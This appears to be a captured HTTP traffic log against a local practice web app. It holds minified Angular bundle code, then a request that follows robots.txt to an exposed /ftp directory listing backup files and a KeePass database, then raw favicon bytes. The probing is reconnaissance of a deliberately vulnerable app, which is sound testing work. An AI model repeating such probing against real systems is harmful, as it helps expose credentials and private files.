Ze(this._options.fullLibraryLoader())}loadLineNumbers(){return Ze(this._options.lineNumbersLoader())}setTheme(Ke){this._themeLinkElement.href=Ke}loadTheme(Ke){this._themeLinkElement=this.doc.createElement("link"),this._themeLinkElement.href=Ke,this._themeLinkElement.type="text/css",this._themeLinkElement.rel="stylesheet",this._themeLinkElement.media="screen,print",this.doc.head.appendChild(this._themeLinkElement)}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.LFG(q.K0),n.LFG(n.Lbi),n.LFG(ce,8))},Ye.\\u0275prov=n.Yz7({token:Ye,factory:Ye.\\u0275fac,providedIn:"root"}),Ye})();const Ze=Ye=>(0,G.D)(Ye).pipe((0,oe.h)(qe=>!!qe&&!!qe.default),(0,Ce.U)(qe=>qe.default));let le=(()=>{class Ye{constructor(Ke,dt){this._loader=Ke,this._hljs=null,Ke.ready.subscribe(bt=>{this._hljs=bt,dt&&dt.config&&(bt.configure(dt.config),bt.listLanguages().length<1&&console.error("[HighlightJS]: No languages were registered!"))})}get hljs(){return this._hljs}highlight(Ke,{language:dt,ignoreIllegals:bt}){return this._loader.ready.pipe((0,Ce.U)(ze=>ze.highlight(Ke,{language:dt,ignoreIllegals:bt})))}highlightAuto(Ke,dt){return this._loader.ready.pipe((0,Ce.U)(bt=>bt.highlightAuto(Ke,dt)))}highlightElement(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.highlightElement(Ke)))}highlightAll(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.highlightAll()))}configure(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.configure(Ke)))}registerLanguage(Ke,dt){return this._loader.ready.pipe((0,se.b)(bt=>bt.registerLanguage(Ke,dt)))}unregisterLanguage(Ke){return this._loader.ready.pipe((0,se.b)(dt=>dt.unregisterLanguage(Ke)))}registerAliases(Ke,{languageName:dt}){return this._loader.ready.pipe((0,se.b)(bt=>bt.registerAliases(Ke,{languageName:dt})))}listLanguages(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.listLanguages()))}getLanguage(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.getLanguage(Ke)))}safeMode(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.safeMode()))}debugMode(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.debugMode()))}lineNumbersBlock(Ke){return this._loader.ready.pipe((0,oe.h)(dt=>!!dt.lineNumbersBlock),(0,se.b)(dt=>dt.lineNumbersBlock(Ke)))}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.LFG(je),n.LFG(ce,8))},Ye.\\u0275prov=n.Yz7({token:Ye,factory:Ye.\\u0275fac,providedIn:"root"}),Ye})(),Oe=(()=>{class Ye{constructor(Ke,dt,bt,ze){this._hljs=dt,this._sanitizer=bt,this._options=ze,this.highlighted=new n.vpe,this._nativeElement=Ke.nativeElement}ngOnChanges(Ke){null!==Ke?.code?.currentValue&&Ke.code.currentValue!==Ke.code.previousValue&&(this.code?this.highlightElement(this.code,this.languages):this.setTextContent(""))}highlightElement(Ke,dt){this.setTextContent(Ke),this._hljs.highlightAuto(Ke,dt).subscribe(bt=>{this.setInnerHTML(bt?.value),this.lineNumbers&&this._options&&this._options.lineNumbersLoader&&this.addLineNumbers(),this.highlighted.emit(bt)})}addLineNumbers(){this.destroyLineNumbersObserver(),Q.Z.schedule(()=>{this._hljs.lineNumbersBlock(this._nativeElement).subscribe(),this._lineNumbersObs=new MutationObserver(()=>{this._nativeElement.firstElementChild&&"TABLE"===this._nativeElement.firstElementChild.tagName.toUpperCase()&&this._nativeElement.classList.add("hljs-line-numbers"),this.destroyLineNumbersObserver()}),this._lineNumbersObs.observe(this._nativeElement,{childList:!0})})}destroyLineNumbersObserver(){this._lineNumbersObs&&(this._lineNumbersObs.disconnect(),this._lineNumbersObs=null)}setTextContent(Ke){Q.Z.schedule(()=>this._nativeElement.textContent=Ke)}setInnerHTML(Ke){Q.Z.schedule(()=>this._nativeElement.innerHTML=this._sanitizer.sanitize(n.q3G.HTML,Ke)||"")}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.Y36(n.SBq),n.Y36(le),n.Y36(we.H7),n.Y36(ce,8))},Ye.\\u0275dir=n.lG2({type:Ye,selectors:[["","highlight",""]],hostVars:2,hostBindings:function(Ke,dt){2&Ke&&n.ekj("hljs",!0)},inputs:{code:["highlight","code"],languages:"languages",lineNumbers:"lineNumbers"},outputs:{highlighted:"highlighted"},features:[n.TTD]}),Ye})(),Qe=(()=>{class Ye{}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)},Ye.\\u0275mod=n.oAB({type:Ye}),Ye.\\u0275inj=n.cJS({}),Ye})()},8423:(At,ae,d)=>{"use strict";d.d(ae,{Ro:()=>se,ef:()=>ee,t2:()=>Ce});var n=d(4650),a=d(591),s=d(8929),u=d(2198),c=d(7625),f=d(7340),E=d(6895),_=d(1481);const S=["overlay"];function g(q,we){1&q&&n._UZ(0,"div")}function C(q,we){if(1&q&&(n.TgZ(0,"div"),n.YNc(1,g,1,0,"div",6),n.qZA()),2&q){const ce=n.oxw(2);n.Tol(ce.spinner.class),n.Udp("color",ce.spinner.color),n.xp6(1),n.Q6J("ngForOf",ce.spinner.divArray)}}function z(q,we){if(1&q&&(n._UZ(0,"div",7),n.ALo(1,"safeHtml")),2&q){const ce=n.oxw(2);n.Q6J("innerHTML",n.lcZ(1,1,ce.template),n.oJD)}}function H(q,we){if(1&q&&(n.TgZ(0,"div",1,2),n.YNc(2,C,2,5,"div",3),n.YNc(3,z,2,3,"div",4),n.TgZ(4,"div",5),n.Hsn(5),n.qZA()()),2&q){const ce=n.oxw();n.Udp("background-color",ce.spinner.bdColor)("z-index",ce.spinner.zIndex)("position",ce.spinner.fullScreen?"fixed":"absolute"),n.Q6J("@.disabled",ce.disableAnimation)("@fadeIn","in"),n.xp6(2),n.Q6J("ngIf",!ce.template),n.xp6(1),n.Q6J("ngIf",ce.template),n.xp6(1),n.Udp("z-index",ce.spinner.zIndex)}}const j=["*"],U={"ball-8bits":16,"ball-atom":4,"ball-beat":3,"ball-circus":5,"ball-climbing-dot":4,"ball-clip-rotate":1,"ball-clip-rotate-multiple":2,"ball-clip-rotate-pulse":2,"ball-elastic-dots":5,"ball-fall":3,"ball-fussion":4,"ball-grid-beat":9,"ball-grid-pulse":9,"ball-newton-cradle":4,"ball-pulse":3,"ball-pulse-rise":5,"ball-pulse-sync":3,"ball-rotate":1,"ball-running-dots":5,"ball-scale":1,"ball-scale-multiple":3,"ball-scale-pulse":2,"ball-scale-ripple":1,"ball-scale-ripple-multiple":3,"ball-spin":8,"ball-spin-clockwise":8,"ball-spin-clockwise-fade":8,"ball-spin-clockwise-fade-rotating":8,"ball-spin-fade":8,"ball-spin-fade-rotating":8,"ball-spin-rotate":2,"ball-square-clockwise-spin":8,"ball-square-spin":8,"ball-triangle-path":3,"ball-zig-zag":2,"ball-zig-zag-deflect":2,cog:1,"cube-transition":2,fire:3,"line-scale":5,"line-scale-party":5,"line-scale-pulse-out":5,"line-scale-pulse-out-rapid":5,"line-spin-clockwise-fade":8,"line-spin-clockwise-fade-rotating":8,"line-spin-fade":8,"line-spin-fade-rotating":8,pacman:6,"square-jelly-box":2,"square-loader":1,"square-spin":1,timer:1,"triangle-skew-spin":1},Q="primary";class oe{constructor(we){Object.assign(this,we)}static create(we){return!we?.template&&(null==we?.type||0===we.type.length)&&console.warn(\'[ngx-spinner]: Property "type" is missed. Please, provide animation type to <ngx-spinner> component\\n and ensure css is added to angular.json file\'),new oe(we)}}let Ce=(()=>{class q{constructor(){this.spinnerObservable=new a.X(null)}getSpinner(ce){return this.spinnerObservable.asObservable().pipe((0,u.h)(je=>je&&je.name===ce))}show(ce=Q,je){return new Promise((Ze,le)=>{setTimeout(()=>{je&&Object.keys(je).length?(je.name=ce,this.spinnerObservable.next(new oe({...je,show:!0})),Ze(!0)):(this.spinnerObservable.next(new oe({name:ce,show:!0})),Ze(!0))},10)})}hide(ce=Q,je=10){return new Promise((Ze,le)=>{setTimeout(()=>{this.spinnerObservable.next(new oe({name:ce,show:!1})),Ze(!0)},je)})}}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275prov=n.Yz7({token:q,factory:q.\\u0275fac,providedIn:"root"}),q})();const k=new n.OlP("NGX_SPINNER_CONFIG");let K=(()=>{class q{constructor(ce){this._sanitizer=ce}transform(ce){if(ce)return this._sanitizer.bypassSecurityTrustHtml(ce)}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(_.H7,16))},q.\\u0275pipe=n.Yjl({name:"safeHtml",type:q,pure:!0}),q})(),se=(()=>{class q{constructor(ce,je,Ze,le){this.spinnerService=ce,this.changeDetector=je,this.elementRef=Ze,this.globalConfig=le,this.disableAnimation=!1,this.spinner=new oe,this.ngUnsubscribe=new s.xQ,this.setDefaultOptions=()=>{const{type:Oe}=this.globalConfig??{};this.spinner=oe.create({name:this.name,bdColor:this.bdColor,size:this.size,color:this.color,type:this.type??Oe,fullScreen:this.fullScreen,divArray:this.divArray,divCount:this.divCount,show:this.show,zIndex:this.zIndex,template:this.template,showSpinner:this.showSpinner})},this.bdColor="rgba(51,51,51,0.8)",this.zIndex=99999,this.color="#fff",this.size="large",this.fullScreen=!0,this.name=Q,this.template=null,this.showSpinner=!1,this.divArray=[],this.divCount=0,this.show=!1}handleKeyboardEvent(ce){this.spinnerDOM&&this.spinnerDOM.nativeElement&&(this.fullScreen||!this.fullScreen&&this.isSpinnerZone(ce.target))&&(ce.returnValue=!1,ce.preventDefault())}initObservable(){this.spinnerService.getSpinner(this.name).pipe((0,c.R)(this.ngUnsubscribe)).subscribe(ce=>{this.setDefaultOptions(),Object.assign(this.spinner,ce),ce.show&&this.onInputChange(),this.changeDetector.detectChanges()})}ngOnInit(){this.setDefaultOptions(),this.initObservable()}isSpinnerZone(ce){return ce===this.elementRef.nativeElement.parentElement||ce.parentNode&&this.isSpinnerZone(ce.parentNode)}ngOnChanges(ce){for(const je in ce)if(je){const Ze=ce[je];if(Ze.isFirstChange())return;typeof Ze.currentValue<"u"&&Ze.currentValue!==Ze.previousValue&&""!==Ze.currentValue&&(this.spinner[je]=Ze.currentValue,"showSpinner"===je&&(Ze.currentValue?this.spinnerService.show(this.spinner.name,this.spinner):this.spinnerService.hide(this.spinner.name)),"name"===je&&this.initObservable())}}getClass(ce,je){this.spinner.divCount=U[ce],this.spinner.divArray=Array(this.spinner.divCount).fill(0).map((le,Oe)=>Oe);let Ze="";switch(je.toLowerCase()){case"small":Ze="la-sm";break;case"medium":Ze="la-2x";break;case"large":Ze="la-3x"}return"la-"+ce+" "+Ze}onInputChange(){this.spinner.class=this.getClass(this.spinner.type,this.spinner.size)}ngOnDestroy(){this.ngUnsubscribe.next(),this.ngUnsubscribe.complete()}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(Ce),n.Y36(n.sBO),n.Y36(n.SBq),n.Y36(k,8))},q.\\u0275cmp=n.Xpm({type:q,selectors:[["ngx-spinner"]],viewQuery:function(ce,je){if(1&ce&&n.Gf(S,5),2&ce){let Ze;n.iGM(Ze=n.CRH())&&(je.spinnerDOM=Ze.first)}},hostBindings:function(ce,je){1&ce&&n.NdJ("keydown",function(le){return je.handleKeyboardEvent(le)},!1,n.evT)},inputs:{bdColor:"bdColor",size:"size",color:"color",type:"type",fullScreen:"fullScreen",name:"name",zIndex:"zIndex",template:"template",showSpinner:"showSpinner",disableAnimation:"disableAnimation"},features:[n.TTD],ngContentSelectors:j,decls:1,vars:1,consts:[["class","ngx-spinner-overlay",3,"background-color","z-index","position",4,"ngIf"],[1,"ngx-spinner-overlay"],["overlay",""],[3,"class","color",4,"ngIf"],[3,"innerHTML",4,"ngIf"],[1,"loading-text"],[4,"ngFor","ngForOf"],[3,"innerHTML"]],template:function(ce,je){1&ce&&(n.F$t(),n.YNc(0,H,6,12,"div",0)),2&ce&&n.Q6J("ngIf",je.spinner.show)},dependencies:[E.sg,E.O5,K],styles:[".ngx-spinner-overlay[_ngcontent-%COMP%]{position:fixed;top:0;left:0;width:100%;height:100%}.ngx-spinner-overlay[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]:not(.loading-text){top:50%;left:50%;margin:0;position:absolute;transform:translate(-50%,-50%)}.loading-text[_ngcontent-%COMP%]{position:absolute;top:60%;left:50%;transform:translate(-50%,-60%)}"],data:{animation:[(0,f.X$)("fadeIn",[(0,f.SB)("in",(0,f.oB)({opacity:1})),(0,f.eR)(":enter",[(0,f.oB)({opacity:0}),(0,f.jt)(300)]),(0,f.eR)(":leave",(0,f.jt)(200,(0,f.oB)({opacity:0})))])]},changeDetection:0}),q})(),ee=(()=>{class q{static forRoot(ce){return{ngModule:q,providers:[{provide:k,useValue:ce}]}}}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=n.oAB({type:q}),q.\\u0275inj=n.cJS({imports:[E.ez]}),q})()},42:(At,ae,d)=>{"use strict";d.d(ae,{io:()=>n});var n=d(8450)},5861:(At,ae,d)=>{"use strict";function n(s,u,c,f,E,_,S){try{var g=s[_](S),C=g.value}catch(z){return void c(z)}g.done?u(C):Promise.resolve(C).then(f,E)}function a(s){return function(){var u=this,c=arguments;return new Promise(function(f,E){var _=s.apply(u,c);function S(C){n(_,f,E,S,g,"next",C)}function g(C){n(_,f,E,S,g,"throw",C)}S(void 0)})}}d.d(ae,{Z:()=>a})}}]);'
GET http://localhost:3000/ftp HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Referer: http://localhost:3000/robots.txt Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:27:00 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\'utf-8\'> \n <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />\n <title>listing directory /ftp</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2, h3 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nh3 {\n margin: 5px 0 10px 0;\n padding-bottom: 5px;\n border-bottom: 1px solid #eee;\n font-size: 18px;\n}\nul li {\n list-style: none;\n}\nul li:hover {\n cursor: pointer;\n color: #2e2e2e;\n}\nul li .path {\n padding-left: 5px;\n font-weight: bold;\n}\nul li .line {\n padding-right: 5px;\n font-style: italic;\n}\nul li:first-child .path {\n padding-left: 0;\n}\np {\n line-height: 1.5;\n}\na {\n color: #555;\n text-decoration: none;\n}\na:hover {\n color: #303030;\n}\n#stacktrace {\n margin-top: 15px;\n}\n.directory h1 {\n margin-bottom: 15px;\n font-size: 18px;\n}\nul#files {\n width: 100%;\n height: 100%;\n overflow: hidden;\n}\nul#files li {\n float: left;\n width: 30%;\n line-height: 25px;\n margin: 1px;\n}\nul#files li a {\n display: block;\n height: 25px;\n border: 1px solid transparent;\n -webkit-border-radius: 5px;\n -moz-border-radius: 5px;\n border-radius: 5px;\n overflow: hidden;\n white-space: nowrap;\n}\nul#files li a:focus,\nul#files li a:hover {\n background: rgba(255,255,255,0.65);\n border: 1px solid #ececec;\n}\nul#files li a.highlight {\n -webkit-transition: background .4s ease-in-out;\n background: #ffff4f;\n border-color: #E9DC51;\n}\n#search {\n display: block;\n position: fixed;\n top: 20px;\n right: 20px;\n width: 90px;\n -webkit-transition: width ease 0.2s, opacity ease 0.4s;\n -moz-transition: width ease 0.2s, opacity ease 0.4s;\n -webkit-border-radius: 32px;\n -moz-border-radius: 32px;\n -webkit-box-shadow: inset 0px 0px 3px rgba(0, 0, 0, 0.25), inset 0px 1px 3px rgba(0, 0, 0, 0.7), 0px 1px 0px rgba(255, 255, 255, 0.03);\n -moz-box-shadow: inset 0px 0px 3px rgba(0, 0, 0, 0.25), inset 0px 1px 3px rgba(0, 0, 0, 0.7), 0px 1px 0px rgba(255, 255, 255, 0.03);\n -webkit-font-smoothing: antialiased;\n text-align: left;\n font: 13px "Helvetica Neue", Arial, sans-serif;\n padding: 4px 10px;\n border: none;\n background: transparent;\n margin-bottom: 0;\n outline: none;\n opacity: 0.7;\n color: #888;\n}\n#search:focus {\n width: 120px;\n opacity: 1.0; \n}\n\n/*views*/\n#files span {\n display: inline-block;\n overflow: hidden;\n text-overflow: ellipsis;\n text-indent: 10px;\n}\n#files .name {\n background-repeat: no-repeat;\n}\n#files .icon .name {\n text-indent: 28px;\n}\n\n/*tiles*/\n.view-tiles .name {\n width: 100%;\n background-position: 8px 5px;\n}\n.view-tiles .size,\n.view-tiles .date {\n display: none;\n}\n\n/*details*/\nul#files.view-details li {\n float: none;\n display: block;\n width: 90%;\n}\nul#files.view-details li.header {\n height: 25px;\n background: #000;\n color: #fff;\n font-weight: bold;\n}\n.view-details .header {\n border-radius: 5px;\n}\n.view-details .name {\n width: 60%;\n background-position: 8px 5px;\n}\n.view-details .size {\n width: 10%;\n}\n.view-details .date {\n width: 30%;\n}\n.view-details .size,\n.view-details .date {\n text-align: right;\n direction: rtl;\n}\n\n/*mobile*/\n@media (max-width: 768px) {\n body {\n font-size: 13px;\n line-height: 16px;\n padding: 0;\n }\n #search {\n position: static;\n width: 100%;\n font-size: 2em;\n line-height: 1.8em;\n text-indent: 10px;\n border: 0;\n border-radius: 0;\n padding: 10px 0;\n margin: 0;\n }\n #search:focus {\n width: 100%;\n border: 0;\n opacity: 1;\n }\n .directory h1 {\n font-size: 2em;\n line-height: 1.5em;\n color: #fff;\n background: #000;\n padding: 15px 10px;\n margin: 0;\n }\n ul#files {\n border-top: 1px solid #cacaca;\n }\n ul#files li {\n float: none;\n width: auto !important;\n display: block;\n border-bottom: 1px solid #cacaca;\n font-size: 2em;\n line-height: 1.2em;\n text-indent: 0;\n margin: 0;\n }\n ul#files li:nth-child(odd) {\n background: #e0e0e0;\n }\n ul#files li a {\n height: auto;\n border: 0;\n border-radius: 0;\n padding: 15px 10px;\n }\n ul#files li a:focus,\n ul#files li a:hover {\n border: 0;\n }\n #files .header,\n #files .size,\n #files .date {\n display: none !important;\n }\n #files .name {\n float: none;\n display: inline-block;\n width: 100%;\n text-indent: 0;\n background-position: 0 50%;\n }\n #files .icon .name {\n text-indent: 41px;\n }\n}\n#files .icon-directory .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAALGPC/xhBQAAAWtQTFRFAAAA/PPQ9Nhc2q402qQ12qs2/PTX2pg12p81+/LM89NE9dto2q82+/fp2rM22qY39d6U+/bo2qo2/frx/vz32q812qs12qE279SU8c4w9NZP+/LK//367s9y7s925cp0/vzw9t92//342po2/vz25s1579B6+OSO2bQ0/v799NyT8tE79dld8Msm+OrC/vzx79KA2IYs7s6I9d6R4cJe9+OF/PLI/fry79OF/v30//328tWB89RJ8c9p8c0u9eCf//7+9txs6sts5Mdr+++5+u2z/vrv+/fq6cFz8dBs8tA57cpq+OaU9uGs27Y8//799NdX/PbY9uB89unJ//z14sNf+emh+emk+vDc+uys9+OL8dJy89NH+eic8tN5+OaV+OWR9N2n9dtl9t529+KF9+GB9Nue9NdU8tR/9t5y89qW9dpj89iO89eG/vvu2pQ12Y4z/vzy2Ict/vvv48dr/vzz4sNg///+2Igty3PqwQAAAAF0Uk5TAEDm2GYAAACtSURBVBjTY2AgA2iYlJWVhfohBPg0yx38y92dS0pKVOVBAqIi6sb2vsWWpfrFeTI8QAEhYQEta28nCwM1OVleZqCAmKCEkUdwYWmhQnFeOStQgL9cySqkNNDHVJGbiY0FKCCuYuYSGRsV5KgjxcXIARRQNncNj09JTgqw0ZbkZAcK5LuFJaRmZqfHeNnpSucDBQoiEtOycnIz4qI9bfUKQA6pKKqAgqIKQyK8BgAZ5yfODmnHrQAAAABJRU5ErkJggg==);\n}\n#files .icon-text .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADoSURBVBgZBcExblNBGAbA2ceegTRBuIKOgiihSZNTcC5LUHAihNJR0kGKCDcYJY6D3/77MdOinTvzAgCw8ysThIvn/VojIyMjIyPP+bS1sUQIV2s95pBDDvmbP/mdkft83tpYguZq5Jh/OeaYh+yzy8hTHvNlaxNNczm+la9OTlar1UdA/+C2A4trRCnD3jS8BB1obq2Gk6GU6QbQAS4BUaYSQAf4bhhKKTFdAzrAOwAxEUAH+KEM01SY3gM6wBsEAQB0gJ+maZoC3gI6iPYaAIBJsiRmHU0AALOeFC3aK2cWAACUXe7+AwO0lc9eTHYTAAAAAElFTkSuQmCC);\n}\n#files .icon-default .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC4SURBVCjPdZFbDsIgEEWnrsMm7oGGfZrohxvU+Iq1TyjU60Bf1pac4Yc5YS4ZAtGWBMk/drQBOVwJlZrWYkLhsB8UV9K0BUrPGy9cWbng2CtEEUmLGppPjRwpbixUKHBiZRS0p+ZGhvs4irNEvWD8heHpbsyDXznPhYFOyTjJc13olIqzZCHBouE0FRMUjA+s1gTjaRgVFpqRwC8mfoXPPEVPS7LbRaJL2y7bOifRCTEli3U7BMWgLzKlW/CuebZPAAAAAElFTkSuQmCC);\n}\n</style>\n <script>\n function $(id){\n var el = \'string\' == typeof id\n ? document.getElementById(id)\n : id;\n\n el.on = function(event, fn){\n if (\'content loaded\' == event) {\n event = window.attachEvent ? "load" : "DOMContentLoaded";\n }\n el.addEventListener\n ? el.addEventListener(event, fn, false)\n : el.attachEvent("on" + event, fn);\n };\n\n el.all = function(selector){\n return $(el.querySelectorAll(selector));\n };\n\n el.each = function(fn){\n for (var i = 0, len = el.length; i < len; ++i) {\n fn($(el[i]), i);\n }\n };\n\n el.getClasses = function(){\n return this.getAttribute(\'class\').split(/\\s+/);\n };\n\n el.addClass = function(name){\n var classes = this.getAttribute(\'class\');\n el.setAttribute(\'class\', classes\n ? classes + \' \' + name\n : name);\n };\n\n el.removeClass = function(name){\n var classes = this.getClasses().filter(function(curr){\n return curr != name;\n });\n this.setAttribute(\'class\', classes.join(\' \'));\n };\n\n return el;\n }\n\n function search() {\n var str = $(\'search\').value.toLowerCase();\n var links = $(\'files\').all(\'a\');\n\n links.each(function(link){\n var text = link.textContent.toLowerCase();\n\n if (\'..\' == text) return;\n if (str.length && ~text.indexOf(str)) {\n link.addClass(\'highlight\');\n } else {\n link.removeClass(\'highlight\');\n }\n });\n }\n\n $(window).on(\'content loaded\', function(){\n $(\'search\').on(\'keyup\', search);\n });\n </script>\n </head>\n <body class="directory">\n <input id="search" type="text" placeholder="Search" autocomplete="off" />\n <div id="wrapper">\n <h1><a href=".">~</a> / <a href="ftp">ftp</a></h1>\n <ul id="files" class="view-tiles"><li><a href="ftp/quarantine" class="icon icon-directory" title="quarantine"><span class="name">quarantine</span><span class="size"></span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/acquisitions.md" class="icon icon icon-md icon-text" title="acquisitions.md"><span class="name">acquisitions.md</span><span class="size">909</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/announcement_encrypted.md" class="icon icon icon-md icon-text" title="announcement_encrypted.md"><span class="name">announcement_encrypted.md</span><span class="size">369237</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/coupons_2013.md.bak" class="icon icon icon-bak icon-default" title="coupons_2013.md.bak"><span class="name">coupons_2013.md.bak</span><span class="size">131</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/eastere.gg" class="icon icon icon-gg icon-default" title="eastere.gg"><span class="name">eastere.gg</span><span class="size">324</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/encrypt.pyc" class="icon icon icon-pyc icon-default" title="encrypt.pyc"><span class="name">encrypt.pyc</span><span class="size">573</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/incident-support.kdbx" class="icon icon icon-kdbx icon-default" title="incident-support.kdbx"><span class="name">incident-support.kdbx</span><span class="size">3246</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/legal.md" class="icon icon icon-md icon-text" title="legal.md"><span class="name">legal.md</span><span class="size">3047</span><span class="date">3/5/2024 5:20:40 PM</span></a></li>\n<li><a href="ftp/package.json.bak" class="icon icon icon-bak icon-default" title="package.json.bak"><span class="name">package.json.bak</span><span class="size">4291</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/suspicious_errors.yml" class="icon icon icon-yml icon-text" title="suspicious_errors.yml"><span class="name">suspicious_errors.yml</span><span class="size">723</span><span class="date">2/28/2024 2:12:47 PM</span></a></li></ul>\n </div>\n </body>\n</html>'
GET http://localhost:3000/assets/public/favicon_js.ico HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Referer: http://localhost:3000 Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"3aee-18df12a535a"\r\nContent-Type: image/x-icon\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:29:49 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'\x00\x00\x01\x00\x03\x0000\x00\x00\x01\x00 \x00\xa8%\x00\x006\x00\x00\x00 \x00\x00\x01\x00 \x00\xa8\x10\x00\x00\xde%\x00\x00\x10\x10\x00\x00\x01\x00 \x00h\x04\x00\x00\x866\x00\x00(\x00\x00\x000\x00\x00\x00`\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00